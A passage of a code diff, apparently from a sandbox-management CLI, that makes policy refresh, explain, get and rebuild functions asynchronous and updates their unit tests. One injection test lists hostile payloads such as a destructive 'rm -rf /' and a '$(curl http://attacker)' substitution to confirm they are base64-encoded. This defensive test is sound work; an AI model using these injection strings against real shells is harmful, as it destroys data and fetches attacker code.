refreshSandboxPolicyContextFile(sandboxName); } function printBaselineEntryScope(prefix: string, key: string, entry: PolicyObject): void { @@ -2288,12 +2302,12 @@ async function excludeSandboxBaselineUnlocked( if (!confirm.trim().toLowerCase().startsWith("y")) return; } - if (!policies.excludeBaselineEntry(sandboxName, key, digest)) { - refreshSandboxPolicyContextFile(sandboxName); + if (!(await policies.excludeBaselineEntry(sandboxName, key, digest))) { + await refreshSandboxPolicyContextFile(sandboxName); process.exit(1); } console.log(` ${G}✓${R} Excluded baseline entry '${key}' for '${sandboxName}'.`); - refreshSandboxPolicyContextFile(sandboxName); + await refreshSandboxPolicyContextFile(sandboxName); } export async function restoreSandboxBaseline( @@ -2368,10 +2382,10 @@ async function restoreSandboxBaselineUnlocked( } } - if (!policies.restoreBaselineEntry(sandboxName, key, { expectedTargetDigest })) { - refreshSandboxPolicyContextFile(sandboxName); + if (!(await policies.restoreBaselineEntry(sandboxName, key, { expectedTargetDigest }))) { + await refreshSandboxPolicyContextFile(sandboxName); process.exit(1); } console.log(` ${G}✓${R} Restored baseline entry '${key}' for '${sandboxName}'.`); - refreshSandboxPolicyContextFile(sandboxName); + await refreshSandboxPolicyContextFile(sandboxName); } diff --git a/src/lib/actions/sandbox/policy-context-refresh.test.ts b/src/lib/actions/sandbox/policy-context-refresh.test.ts index 330b7cfa8f4..67a1b52f1d7 100644 --- a/src/lib/actions/sandbox/policy-context-refresh.test.ts +++ b/src/lib/actions/sandbox/policy-context-refresh.test.ts @@ -14,39 +14,39 @@ import { } from "./policy-context-refresh"; describe("refreshSandboxPolicyContextFile", () => { - it("reports `ok` when the write succeeds and does not warn", () => { + it("reports `ok` when the write succeeds and does not warn", async () => { const warn = vi.fn(); const unexpected = vi.fn(); - const write = vi.fn(() => ({ written: true })); + const write = vi.fn(async () => ({ written: true })); - const outcome = refreshSandboxPolicyContextFile("alpha", { warn, unexpected, write }); + const outcome = await refreshSandboxPolicyContextFile("alpha", { warn, unexpected, write }); expect(outcome.outcome).toBe("ok"); expect(warn).not.toHaveBeenCalled(); expect(unexpected).not.toHaveBeenCalled(); }); - it("treats `sandbox unreachable` as a non-fatal `unreachable` outcome without warning", () => { + it("treats `sandbox unreachable` as a non-fatal `unreachable` outcome without warning", async () => { const warn = vi.fn(); const unexpected = vi.fn(); - const write = vi.fn(() => ({ written: false, reason: "sandbox unreachable" })); + const write = vi.fn(async () => ({ written: false, reason: "sandbox unreachable" })); - const outcome = refreshSandboxPolicyContextFile("alpha", { warn, unexpected, write }); + const outcome = await refreshSandboxPolicyContextFile("alpha", { warn, unexpected, write }); expect(outcome.outcome).toBe("unreachable"); expect(warn).not.toHaveBeenCalled(); expect(unexpected).not.toHaveBeenCalled(); }); - it("warns about explicit `failed` outcomes when the sandbox returns a non-zero exit", () => { + it("warns about explicit `failed` outcomes when the sandbox returns a non-zero exit", async () => { const warn = vi.fn(); const unexpected = vi.fn(); - const write = vi.fn(() => ({ + const write = vi.fn(async () => ({ written: false, reason: "write failed (status 13): denied", })); - const outcome = refreshSandboxPolicyContextFile("alpha", { warn, unexpected, write }); + const outcome = await refreshSandboxPolicyContextFile("alpha", { warn, unexpected, write }); expect(outcome.outcome).toBe("failed"); expect(warn).toHaveBeenCalledTimes(1); @@ -55,14 +55,14 @@ describe("refreshSandboxPolicyContextFile", () => { expect(unexpected).not.toHaveBeenCalled(); }); - it("routes unexpected exceptions through the `unexpected` sink instead of swallowing them", () => { + it("routes unexpected exceptions through the `unexpected` sink instead of swallowing them", async () => { const warn = vi.fn(); const unexpected = vi.fn(); - const write = vi.fn(() => { + const write = vi.fn(async () => { throw new Error("import regression: cannot find module"); }); - const outcome = refreshSandboxPolicyContextFile("alpha", { warn, unexpected, write }); + const outcome = await refreshSandboxPolicyContextFile("alpha", { warn, unexpected, write }); expect(outcome.outcome).toBe("crashed"); expect(unexpected).toHaveBeenCalledTimes(1); @@ -71,17 +71,17 @@ describe("refreshSandboxPolicyContextFile", () => { expect(warn).not.toHaveBeenCalled(); }); - it("treats loader crashes from writePolicyContextToSandbox as `crashed` even when the write returns instead of throwing", () => { + it("treats loader crashes from writePolicyContextToSandbox as `crashed` even when the write returns instead of throwing", async () => { const warn = vi.fn(); const unexpected = vi.fn(); - const write = vi.fn(() => ({ + const write = vi.fn(async () => ({ written: false, reason: "policy-context executor failed to load: missing module", failure: "unexpected-loader" as const, errorMessage: "missing module", })); - const outcome = refreshSandboxPolicyContextFile("alpha", { warn, unexpected, write }); + const outcome = await refreshSandboxPolicyContextFile("alpha", { warn, unexpected, write }); expect(outcome.outcome).toBe("crashed"); expect(unexpected).toHaveBeenCalledTimes(1); @@ -90,25 +90,27 @@ describe("refreshSandboxPolicyContextFile", () => { expect(warn).not.toHaveBeenCalled(); }); - it("treats `loader-vitest` and `no-runtime` loader signals as non-warning `unreachable` outcomes", () => { + it("treats `loader-vitest` and `no-runtime` loader signals as non-warning `unreachable` outcomes", async () => { const warn = vi.fn(); const unexpected = vi.fn(); - const writeVitest = vi.fn(() => ({ + const writeVitest = vi.fn(async () => ({ written: false, reason: "sandbox unreachable", failure: "loader-vitest" as const, })); - const writeNoRuntime = vi.fn(() => ({ + const writeNoRuntime = vi.fn(async () => ({ written: false, reason: "sandbox unreachable", failure: "no-runtime" as const, })); expect( - refreshSandboxPolicyContextFile("alpha", { warn, unexpected, write: writeVitest }).outcome, + (await refreshSandboxPolicyContextFile("alpha", { warn, unexpected, write: writeVitest })) + .outcome, ).toBe("unreachable"); expect( - refreshSandboxPolicyContextFile("alpha", { warn, unexpected, write: writeNoRuntime }).outcome, + (await refreshSandboxPolicyContextFile("alpha", { warn, unexpected, write: writeNoRuntime })) + .outcome, ).toBe("unreachable"); expect(warn).not.toHaveBeenCalled(); expect(unexpected).not.toHaveBeenCalled(); diff --git a/src/lib/actions/sandbox/policy-context-refresh.ts b/src/lib/actions/sandbox/policy-context-refresh.ts index d711939a7c1..608bf04473a 100644 --- a/src/lib/actions/sandbox/policy-context-refresh.ts +++ b/src/lib/actions/sandbox/policy-context-refresh.ts @@ -44,16 +44,16 @@ const DEFAULT_UNEXPECTED = (error: unknown) => { console.error(` Unexpected error refreshing ${POLICY_CONTEXT_SANDBOX_PATH}: ${message}`); }; -export function refreshSandboxPolicyContextFile( +export async function refreshSandboxPolicyContextFile( sandboxName: string, deps: RefreshDeps = {}, -): RefreshOutcome { +): Promise { const write = deps.write ?? writePolicyContextToSandbox; const warn = deps.warn ?? DEFAULT_WARN; const unexpected = deps.unexpected ?? DEFAULT_UNEXPECTED; let result: WritePolicyContextResult; try { - result = write(sandboxName); + result = await write(sandboxName); } catch (error: unknown) { unexpected(error); return { diff --git a/src/lib/actions/sandbox/policy-explain.test.ts b/src/lib/actions/sandbox/policy-explain.test.ts index 12faf2318ae..07ebfef34a0 100644 --- a/src/lib/actions/sandbox/policy-explain.test.ts +++ b/src/lib/actions/sandbox/policy-explain.test.ts @@ -35,14 +35,14 @@ function fakeContext(sandboxName: string): PolicyContext { } describe("explainSandboxPolicy", () => { - it("renders the policy context as markdown by default", () => { + it("renders the policy context as markdown by default", async () => { const build = vi.fn(fakeContext); const render = vi.fn(() => "# rendered\n"); const log = vi.fn(); const logJson = vi.fn(); const exec = vi.fn(); - const ctx = explainSandboxPolicy("alpha", {}, { build, render, log, logJson, exec }); + const ctx = await explainSandboxPolicy("alpha", {}, { build, render, log, logJson, exec }); expect(build).toHaveBeenCalledWith("alpha"); expect(render).toHaveBeenCalledWith(ctx); @@ -51,14 +51,14 @@ describe("explainSandboxPolicy", () => { expect(exec).not.toHaveBeenCalled(); }); - it("emits JSON when the json flag is set", () => { + it("emits JSON when the json flag is set", async () => { const build = vi.fn(fakeContext); const render = vi.fn(); const log = vi.fn(); const logJson = vi.fn(); const exec = vi.fn(); - const ctx = explainSandboxPolicy( + const ctx = await explainSandboxPolicy( "alpha", { json: true }, { build, render, log, logJson, exec }, @@ -70,7 +70,7 @@ describe("explainSandboxPolicy", () => { expect(exec).not.toHaveBeenCalled(); }); - it("writes the rendered context into the sandbox when writeToSandbox is set", () => { + it("writes the rendered context into the sandbox when writeToSandbox is set", async () => { const build = vi.fn(fakeContext); const render = vi.fn(() => "# rendered\n"); const log = vi.fn(); @@ -82,7 +82,7 @@ describe("explainSandboxPolicy", () => { })); const warn = vi.fn(); - explainSandboxPolicy( + await explainSandboxPolicy( "alpha", { writeToSandbox: true }, { build, render, log, logJson, exec, warn }, @@ -95,7 +95,7 @@ describe("explainSandboxPolicy", () => { expect(warn).not.toHaveBeenCalled(); }); - it("warns when --write cannot reach the sandbox", () => { + it("warns when --write cannot reach the sandbox", async () => { const build = vi.fn(fakeContext); const render = vi.fn(() => "# rendered\n"); const log = vi.fn(); @@ -103,7 +103,7 @@ describe("explainSandboxPolicy", () => { const exec = vi.fn(() => null); const warn = vi.fn(); - explainSandboxPolicy( + await explainSandboxPolicy( "alpha", { writeToSandbox: true }, { build, render, log, logJson, exec, warn }, @@ -114,7 +114,7 @@ describe("explainSandboxPolicy", () => { expect(warn.mock.calls[0][0]).toContain(POLICY_CONTEXT_SANDBOX_PATH); }); - it("warns when --write fails with a non-zero exit", () => { + it("warns when --write fails with a non-zero exit", async () => { const build = vi.fn(fakeContext); const render = vi.fn(() => "# rendered\n"); const log = vi.fn(); @@ -122,7 +122,7 @@ describe("explainSandboxPolicy", () => { const exec = vi.fn(() => ({ status: 13, stdout: "", stderr: "denied" })); const warn = vi.fn(); - explainSandboxPolicy( + await explainSandboxPolicy( "alpha", { writeToSandbox: true }, { build, render, log, logJson, exec, warn }, @@ -134,7 +134,7 @@ describe("explainSandboxPolicy", () => { }); describe("writePolicyContextToSandbox", () => { - it("encodes the rendered markdown as base64 and pipes it through base64 -d", () => { + it("encodes the rendered markdown as base64 and pipes it through base64 -d", async () => { const build = vi.fn(fakeContext); const render = vi.fn(() => "hello sandbox\n"); const exec = vi.fn((_sandbox: string, _command: string) => ({ @@ -143,7 +143,7 @@ describe("writePolicyContextToSandbox", () => { stderr: "", })); - const result = writePolicyContextToSandbox("alpha", { build, render, exec }); + const result = await writePolicyContextToSandbox("alpha", { build, render, exec }); expect(result.written).toBe(true); expect(exec).toHaveBeenCalledTimes(1); @@ -153,7 +153,7 @@ describe("writePolicyContextToSandbox", () => { expect(command).toContain(POLICY_CONTEXT_SANDBOX_PATH); }); - it("stages the payload in a sibling temp file and atomically replaces the target without following symlinks", () => { + it("stages the payload in a sibling temp file and atomically replaces the target without following symlinks", async () => { const build = vi.fn(fakeContext); const render = vi.fn(() => "payload\n"); const exec = vi.fn((_sandbox: string, _command: string) => ({ @@ -162,7 +162,7 @@ describe("writePolicyContextToSandbox", () => { stderr: "", })); - writePolicyContextToSandbox("alpha", { build, render, exec }); + await writePolicyContextToSandbox("alpha", { build, render, exec }); const command = exec.mock.calls[0][1]; // Payload must land in a freshly-minted temp file under the workspace @@ -179,24 +179,24 @@ describe("writePolicyContextToSandbox", () => { expect(command).not.toMatch(/> \/sandbox\/\.openclaw\/workspace\/POLICY\.md/); }); - it("returns sandbox-unreachable when exec yields null", () => { + it("returns sandbox-unreachable when exec yields null", async () => { const build = vi.fn(fakeContext); const render = vi.fn(() => "x"); const exec = vi.fn(() => null); - const result = writePolicyContextToSandbox("alpha", { build, render, exec }); + const result = await writePolicyContextToSandbox("alpha", { build, render, exec }); expect(result.written).toBe(false); expect(result.reason).toBe("sandbox unreachable"); expect(result.failure).toBe("sandbox-unreachable"); }); - it("returns a descriptive reason when the sandbox command exits non-zero", () => { + it("returns a descriptive reason when the sandbox command exits non-zero", async () => { const build = vi.fn(fakeContext); const render = vi.fn(() => "x"); const exec = vi.fn(() => ({ status: 13, stdout: "", stderr: "denied" })); - const result = writePolicyContextToSandbox("alpha", { build, render, exec }); + const result = await writePolicyContextToSandbox("alpha", { build, render, exec }); expect(result.written).toBe(false); expect(result.reason).toContain("status 13"); @@ -214,7 +214,7 @@ describe("writePolicyContextToSandbox", () => { "evil", ])( "encodes hostile markdown payloads as base64 so they cannot break out of the write command [%s]", - (token) => { + async (token) => { const hostile = [ "'; rm -rf / #", "$(curl http://attacker)", @@ -234,7 +234,7 @@ describe("writePolicyContextToSandbox", () => { stderr: "", })); - writePolicyContextToSandbox("alpha", { build, render, exec }); + await writePolicyContextToSandbox("alpha", { build, render, exec }); const command = exec.mock.calls[0][1]; const encoded = Buffer.from(hostile, "utf-8").toString("base64"); @@ -253,3 +253,22 @@ describe("writePolicyContextToSandbox", () => { }, ); }); + +it("isolates write exits after asynchronous context preparation", async () => { + const original = process.exit; + let finishBuild!: (context: PolicyContext) => void; + const exec = vi.fn(() => process.exit(1)); + const pending = writePolicyContextToSandbox("alpha", { + build: () => + new Promise((resolve) => { + finishBuild = resolve; + }), + render: () => "policy context", + exec, + }); + expect(exec).not.toHaveBeenCalled(); + expect(process.exit).toBe(original); + finishBuild(fakeContext("alpha")); + await expect(pending).rejects.toThrow("policy-context write attempted process.exit(1)"); + expect(process.exit).toBe(original); +}); diff --git a/src/lib/actions/sandbox/policy-explain.ts b/src/lib/actions/sandbox/policy-explain.ts index 61aaadf92a3..129f2879e18 100644 --- a/src/lib/actions/sandbox/policy-explain.ts +++ b/src/lib/actions/sandbox/policy-explain.ts @@ -35,7 +35,7 @@ export interface ExplainPolicyOptions { } export interface ExplainPolicyDeps { - build?: (sandboxName: string) => PolicyContext; + build?: (sandboxName: string) => PolicyContext | Promise; render?: (ctx: PolicyContext) => string; log?: (line: string) => void; logJson?: (value: unknown) => void; @@ -150,10 +150,24 @@ function buildWriteCommand(markdown: string, targetPath: string): string { ].join(" && "); } -export function writePolicyContextToSandbox( +// The legacy SSH capture can exit on a spawn failure. Keep this best-effort +// write isolated, and restore the process hook before any asynchronous work. +function executeContextWrite(exec: SandboxExec, sandboxName: string, command: string) { + const savedExit = process.exit; + process.exit = ((code?: number): never => { + throw new Error(`policy-context write attempted process.exit(${String(code)})`); + }) as typeof process.exit; + try { + return exec(sandboxName, command); + } finally { + process.exit = savedExit; + } +} + +export async function writePolicyContextToSandbox( sandboxName: string, deps: ExplainPolicyDeps = {}, -): WritePolicyContextResult { +): Promise { const build = deps.build ?? buildPolicyContext; const render = deps.render ?? renderPolicyContextMarkdown; let exec: SandboxExec | undefined = deps.exec; @@ -175,10 +189,10 @@ export function writePolicyContextToSandbox( } exec = load.exec; } - const ctx = build(sandboxName); + const ctx = await build(sandboxName); const markdown = render(ctx); const command = buildWriteCommand(markdown, POLICY_CONTEXT_SANDBOX_PATH); - const result = exec(sandboxName, command); + const result = executeContextWrite(exec, sandboxName, command); if (result === null) { return { written: false, reason: "sandbox unreachable", failure: "sandbox-unreachable" }; } @@ -192,24 +206,24 @@ export function writePolicyContextToSandbox( return { written: true }; } -export function explainSandboxPolicy( +export async function explainSandboxPolicy( sandboxName: string, options: ExplainPolicyOptions = {}, deps: ExplainPolicyDeps = {}, -): PolicyContext { +): Promise { const build = deps.build ?? buildPolicyContext; const render = deps.render ?? renderPolicyContextMarkdown; const log = deps.log ?? ((line: string) => console.log(line)); const logJson = deps.logJson ?? ((value: unknown) => console.log(JSON.stringify(value, null, 2))); const warn = deps.warn ?? ((line: string) => console.error(line)); - const ctx = build(sandboxName); + const ctx = await build(sandboxName); if (options.json) { logJson(ctx); } else { log(render(ctx)); } if (options.writeToSandbox) { - const writeResult = writePolicyContextToSandbox(sandboxName, { ...deps, build, render }); + const writeResult = await writePolicyContextToSandbox(sandboxName, { ...deps, build, render }); if (!writeResult.written) { const detail = writeResult.reason ?? "unknown reason"; warn(` Could not seed ${POLICY_CONTEXT_SANDBOX_PATH}: ${detail}.`); diff --git a/src/lib/actions/sandbox/policy-get.test.ts b/src/lib/actions/sandbox/policy-get.test.ts index 12f8788bae1..815a92b645b 100644 --- a/src/lib/actions/sandbox/policy-get.test.ts +++ b/src/lib/actions/sandbox/policy-get.test.ts @@ -1,18 +1,17 @@ // SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. // SPDX-License-Identifier: Apache-2.0 +import type { OpenShellSandboxPolicyReader } from "../../adapters/openshell/sandbox-policy"; + import fs from "node:fs"; import os from "node:os"; import path from "node:path"; -import { afterEach, describe, expect, it, vi } from "vitest"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import YAML from "yaml"; import { captureOpenshellCommand } from "../../adapters/openshell/client"; -import { - createCliOpenShellSandboxPolicyRead, - type CliOpenShellSandboxPolicyRead, -} from "../../adapters/openshell/sandbox-policy-cli"; +import { createCliOpenShellSandboxPolicyReader } from "../../adapters/openshell/sandbox-policy-cli"; import type { OpenShellSandboxError } from "../../adapters/openshell/sandbox-observer"; import { PolicyObservationError } from "../../adapters/openshell/policy-state"; import * as gatewayTarget from "./gateway-target"; @@ -21,7 +20,7 @@ import { getSandboxPolicy } from "./policy-get"; type FakeOpenShell = { argsPath: string; output: string; - readPolicy: CliOpenShellSandboxPolicyRead; + readPolicy: OpenShellSandboxPolicyReader["readSandboxPolicy"]; }; const tempDirs: string[] = []; @@ -43,21 +42,26 @@ function createFakeOpenShell(output: string, exitCode = 0): FakeOpenShell { ].join("\n"), { mode: 0o755 }, ); - const readPolicy = createCliOpenShellSandboxPolicyRead({ + const readPolicy = createCliOpenShellSandboxPolicyReader({ capture: (args, options) => captureOpenshellCommand(executablePath, args, { ...options, cwd: tempDir, }), }); - return { argsPath, output, readPolicy }; + return { argsPath, output, readPolicy: readPolicy.readSandboxPolicy }; } -function failedPolicyRead(error: OpenShellSandboxError): CliOpenShellSandboxPolicyRead { - return vi.fn(async () => ({ result: { ok: false as const, error }, displayOutput: "" })); +function failedPolicyRead( + error: OpenShellSandboxError, +): OpenShellSandboxPolicyReader["readSandboxPolicy"] { + return vi.fn(async () => ({ ok: false as const, error })); } describe("getSandboxPolicy", () => { + beforeEach(() => { + vi.spyOn(gatewayTarget, "getKnownSandboxTargetGatewayName").mockReturnValue(null); + }); afterEach(() => { vi.restoreAllMocks(); vi.unstubAllEnvs(); diff --git a/src/lib/actions/sandbox/policy-get.ts b/src/lib/actions/sandbox/policy-get.ts index 044cda4e735..321e7bdd0b8 100644 --- a/src/lib/actions/sandbox/policy-get.ts +++ b/src/lib/actions/sandbox/policy-get.ts @@ -1,16 +1,13 @@ // SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. // SPDX-License-Identifier: Apache-2.0 +import type { OpenShellSandboxPolicyReader } from "../../adapters/openshell/sandbox-policy"; + import { - redactOpenShellSandboxPolicyReadForDisplay, - type CliOpenShellSandboxPolicyRead, - readCliOpenShellSandboxPolicy, + redactOpenShellSandboxPolicyDocumentForDisplay, + cliOpenShellSandboxPolicyReader, } from "../../adapters/openshell/sandbox-policy-cli"; import { PolicyObservationError } from "../../adapters/openshell/policy-state"; -import { - namedOpenShellGateway, - selectedOpenShellGateway, -} from "../../adapters/openshell/sandbox-observer"; import { formatOpenShellPolicyRecoveryAction } from "../../gateway-start-guidance"; import { assertNoOpenShellGatewayEndpointOverride } from "../../openshell-gateway-endpoint-guard"; import { getKnownSandboxTargetGatewayName } from "./gateway-target"; @@ -21,28 +18,28 @@ export interface PolicyGetResult { } /** Read the round-trippable OpenShell base policy and strip its metadata header. */ -export function getSandboxPolicy( +export async function getSandboxPolicy( sandboxName: string, - readPolicy: CliOpenShellSandboxPolicyRead = readCliOpenShellSandboxPolicy, + readPolicy: OpenShellSandboxPolicyReader["readSandboxPolicy"] = cliOpenShellSandboxPolicyReader.readSandboxPolicy, ): Promise { - return readSandboxPolicy(sandboxName, readPolicy); + return await readSandboxPolicy(sandboxName, readPolicy); } async function readSandboxPolicy( sandboxName: string, - readPolicy: CliOpenShellSandboxPolicyRead, + readPolicy: OpenShellSandboxPolicyReader["readSandboxPolicy"], ): Promise { const recordedGatewayName = getKnownSandboxTargetGatewayName(sandboxName); if (recordedGatewayName) assertNoOpenShellGatewayEndpointOverride(); const read = await readPolicy({ target: recordedGatewayName - ? namedOpenShellGateway(recordedGatewayName) - : selectedOpenShellGateway(), + ? { kind: "named", gatewayName: recordedGatewayName } + : { kind: "selected" }, sandboxName, scope: "base", }); - if (!read.result.ok) { - const policyReadError = read.result.error; + if (!read.ok) { + const policyReadError = read.error; const recovery = formatOpenShellPolicyRecoveryAction( policyReadError, `nemoclaw ${sandboxName} policy get`, @@ -59,14 +56,14 @@ async function readSandboxPolicy( { policyReadError }, ); } - const display = redactOpenShellSandboxPolicyReadForDisplay({ - displayOutput: read.displayOutput, - document: read.result.value.document, - }); - if (display === null) { + const yaml = redactOpenShellSandboxPolicyDocumentForDisplay(read.value.document); + if (yaml === null) { throw new Error( `Failed to retrieve base policy for sandbox '${sandboxName}'. OpenShell returned an invalid sandbox policy document.`, ); } - return display; + const metadata = (read.value.metadata ?? []) + .map(({ field, value }) => `${field}: ${value}`) + .join("\n"); + return { yaml, raw: metadata ? `${metadata}\n---\n${yaml}` : yaml }; } diff --git a/src/lib/actions/sandbox/policy-list-render.test.ts b/src/lib/actions/sandbox/policy-list-render.test.ts index 80ecdc2363e..ab119783b1d 100644 --- a/src/lib/actions/sandbox/policy-list-render.test.ts +++ b/src/lib/actions/sandbox/policy-list-render.test.ts @@ -47,7 +47,7 @@ describe("listSandboxPolicies rendering (#5967)", () => { }, { name: "npm", description: "npm and Yarn registry access", file: "npm.yaml" }, ]); - mocked.listCustomPresets.mockReturnValue([]); + mocked.listCustomPresets.mockResolvedValue([]); }); afterEach(() => { @@ -61,13 +61,13 @@ describe("listSandboxPolicies rendering (#5967)", () => { const lineFor = (preset: string) => lines.find((line) => new RegExp(`[●○] ${preset}\\b`).test(line)) ?? ""; - it("marks an enabled Discord preset applied (●) when it is in both registry and gateway", () => { + it("marks an enabled Discord preset applied (●) when it is in both registry and gateway", async () => { // The #5967 fix persists `discord` to registry.policies AND applies it to the // gateway, so policy-list must render it as applied. - mocked.getAppliedPresets.mockReturnValue(["discord", "npm"]); - mocked.getGatewayPresets.mockReturnValue(["discord", "npm"]); + mocked.getAppliedPresets.mockResolvedValue(["discord", "npm"]); + mocked.getGatewayPresets.mockResolvedValue(["discord", "npm"]); - listSandboxPolicies("nemoclaw-5967"); + await listSandboxPolicies("nemoclaw-5967"); expect(lineFor("discord")).toContain("● discord"); expect(lineFor("npm")).toContain("● npm"); @@ -76,23 +76,23 @@ describe("listSandboxPolicies rendering (#5967)", () => { expect(lineFor("slack")).not.toContain("● slack"); }); - it("renders the pre-fix regression (○ discord) when Discord is dropped from registry and gateway", () => { + it("renders the pre-fix regression (○ discord) when Discord is dropped from registry and gateway", async () => { // Before the fix the explicit-selection path dropped discord from both the // persisted registry list and the reconciled gateway set. - mocked.getAppliedPresets.mockReturnValue(["npm", "pypi"]); - mocked.getGatewayPresets.mockReturnValue(["npm", "pypi"]); + mocked.getAppliedPresets.mockResolvedValue(["npm", "pypi"]); + mocked.getGatewayPresets.mockResolvedValue(["npm", "pypi"]); - listSandboxPolicies("nemoclaw-5967"); + await listSandboxPolicies("nemoclaw-5967"); expect(lineFor("discord")).toContain("○ discord"); expect(lineFor("discord")).not.toContain("● discord"); }); - it("does not invent local ownership when the two live policy views disagree", () => { - mocked.getAppliedPresets.mockReturnValue(["discord", "npm"]); - mocked.getGatewayPresets.mockReturnValue(["npm"]); + it("does not invent local ownership when the two live policy views disagree", async () => { + mocked.getAppliedPresets.mockResolvedValue(["discord", "npm"]); + mocked.getGatewayPresets.mockResolvedValue(["npm"]); - listSandboxPolicies("nemoclaw-5967"); + await listSandboxPolicies("nemoclaw-5967"); expect(lineFor("discord")).toContain("○ discord"); expect(lineFor("discord")).not.toContain("recorded locally"); diff --git a/src/lib/actions/sandbox/rebuild-backup-phase.ts b/src/lib/actions/sandbox/rebuild-backup-phase.ts index 498db2f32c3..6d875d92286 100644 --- a/src/lib/actions/sandbox/rebuild-backup-phase.ts +++ b/src/lib/actions/sandbox/rebuild-backup-phase.ts @@ -69,14 +69,14 @@ function bailForUnsafeOpenClawPluginProvenance(input: RebuildBackupPhaseInput): return input.bail("Custom-image OpenClaw plugin provenance is unavailable."); } -export function captureRebuildPolicyDocument( +export async function captureRebuildPolicyDocument( sandboxName: string, gatewayName: string, runtimeSelection?: OpenShellRuntimeSelection, -): string { +): Promise { let policy: string; try { - policy = captureRecordedSandboxBasePolicy( + policy = await captureRecordedSandboxBasePolicy( sandboxName, "capture the live policy before sandbox replacement", runtimeSelection, @@ -148,7 +148,11 @@ export async function runRebuildBackupPhase( const capturedPolicy = input.staleRecovery || preparedRetainedPolicy ? null - : captureRebuildPolicyDocument(input.sandboxName, input.gatewayName, input.runtimeSelection); + : await captureRebuildPolicyDocument( + input.sandboxName, + input.gatewayName, + input.runtimeSelection, + ); let backupManifest = preparedRecoveryManifest ?? (await backupStateForRebuild( @@ -213,7 +217,11 @@ export async function runRebuildBackupPhase( } const policy = capturedPolicy ?? - captureRebuildPolicyDocument(input.sandboxName, input.gatewayName, input.runtimeSelection); + (await captureRebuildPolicyDocument( + input.sandboxName, + input.gatewayName, + input.runtimeSelection, + )); if (backupManifest && !retainedPolicy) { try { backupManifest = writeRebuildPolicyHandoff(backupManifest, policy); diff --git a/src/lib/actions/sandbox/rebuild-destroy-phase.ts b/src/lib/actions/sandbox/rebuild-destroy-phase.ts index 04f727f5719..3dbcaca1c9d 100644 --- a/src/lib/actions/sandbox/rebuild-destroy-phase.ts +++ b/src/lib/actions/sandbox/rebuild-destroy-phase.ts @@ -49,7 +49,7 @@ export interface RebuildDestroyPhaseInput { ) => Promise; validateAtDeleteEdge?: ( runtimeSelection?: OpenShellRuntimeSelection, - ) => RebuildDeleteValidationResult; + ) => RebuildDeleteValidationResult | Promise; cleanupDockerOrphanAfterDelete?: () => void; onDeleted: () => void; onDeleteStateAmbiguous?: () => void; @@ -417,7 +417,7 @@ export async function runRebuildDestroyPhase( if (validateAtDeleteEdge) { let validation: RebuildDeleteValidationResult; try { - validation = validateAtDeleteEdge(rebuildMcpRuntimeSelection); + validation = await validateAtDeleteEdge(rebuildMcpRuntimeSelection); } catch (error) { const detail = error instanceof Error ? error.message : String(error); log(`Unexpected delete-edge validation failure: ${redactFull(detail)}`); diff --git a/src/lib/actions/sandbox/rebuild-pipeline.ts b/src/lib/actions/sandbox/rebuild-pipeline.ts index 43c093935fc..737aec7e870 100644 --- a/src/lib/actions/sandbox/rebuild-pipeline.ts +++ b/src/lib/actions/sandbox/rebuild-pipeline.ts @@ -452,9 +452,11 @@ async function rebuildSandboxUnlocked( return false; } }; - const capturePolicyHandoff = (runtimeSelection?: OpenShellRuntimeSelection): boolean => { + const capturePolicyHandoff = async ( + runtimeSelection?: OpenShellRuntimeSelection, + ): Promise => { return publishPolicyHandoff( - captureRebuildPolicyDocument( + await captureRebuildPolicyDocument( sandboxName, recreateOptions.targetGatewayName, runtimeSelection, @@ -770,7 +772,7 @@ async function rebuildSandboxUnlocked( preparation.runtimeSelection, ); }, - validateAtDeleteEdge: (runtimeSelection) => { + validateAtDeleteEdge: async (runtimeSelection) => { const validation = revalidateManagedWorkloadRebuildBeforeDelete( sandboxName, @@ -788,7 +790,7 @@ async function rebuildSandboxUnlocked( // prepared recovery manifest, so there is no live policy to recapture. if (staleRecovery) return validation; try { - return capturePolicyHandoff(runtimeSelection) + return (await capturePolicyHandoff(runtimeSelection)) ? validation : { ok: false, diff --git a/src/lib/actions/sandbox/rebuild-resume-snapshot.test.ts b/src/lib/actions/sandbox/rebuild-resume-snapshot.test.ts index ed52d5daa6a..2ba1c224ff1 100644 --- a/src/lib/actions/sandbox/rebuild-resume-snapshot.test.ts +++ b/src/lib/actions/sandbox/rebuild-resume-snapshot.test.ts @@ -53,7 +53,7 @@ const policyBoundaryMocks = vi.hoisted(() => ({ vi.mock("../../adapters/openshell/sandbox-policy-cli", async (importOriginal) => ({ ...(await importOriginal()), - syncCliOpenShellSandboxPolicyReader: { + cliOpenShellSandboxPolicyReader: { inspectSandboxPolicy: policyBoundaryMocks.inspectSandboxPolicy, readSandboxPolicy: policyBoundaryMocks.readSandboxPolicy, readSandboxPolicyRevision: vi.fn(), diff --git a/src/lib/actions/sandbox/snapshot-auto-create-failure.test.ts b/src/lib/actions/sandbox/snapshot-auto-create-failure.test.ts index 082b4bac2db..d50d9db28f5 100644 --- a/src/lib/actions/sandbox/snapshot-auto-create-failure.test.ts +++ b/src/lib/actions/sandbox/snapshot-auto-create-failure.test.ts @@ -158,7 +158,7 @@ vi.mock("../../adapters/openshell/runtime", () => ({ })); vi.mock("../../adapters/openshell/sandbox-policy-cli", async (importOriginal) => ({ ...(await importOriginal()), - syncCliOpenShellSandboxPolicyReader: { + cliOpenShellSandboxPolicyReader: { inspectSandboxPolicy: vi.fn(), readSandboxPolicy: readSandboxPolicyMock, readSandboxPolicyRevision: vi.fn(), diff --git a/src/lib/actions/sandbox/snapshot-restore-clone-ports.test.ts b/src/lib/actions/sandbox/snapshot-restore-clone-ports.test.ts index 95543135771..cdeadff8bf4 100644 --- a/src/lib/actions/sandbox/snapshot-restore-clone-ports.test.ts +++ b/src/lib/actions/sandbox/snapshot-restore-clone-ports.test.ts @@ -206,7 +206,7 @@ describe("runSandboxSnapshot restore: clone port identity", () => { }), ); f.getLatestBackupMock.mockReturnValue({ ...f.latestBackupFixture }); - f.readSandboxPolicyMock.mockReturnValue({ ok: false, error: policyReadError }); + f.readSandboxPolicyMock.mockResolvedValue({ ok: false, error: policyReadError }); const secureTempFile = vi.spyOn(tempFiles, "secureTempFile"); const { runSandboxSnapshot } = await import("./snapshot"); @@ -241,7 +241,7 @@ describe("runSandboxSnapshot restore: clone port identity", () => { dashboardPort: name === "alpha" ? 18790 : 18791, })); 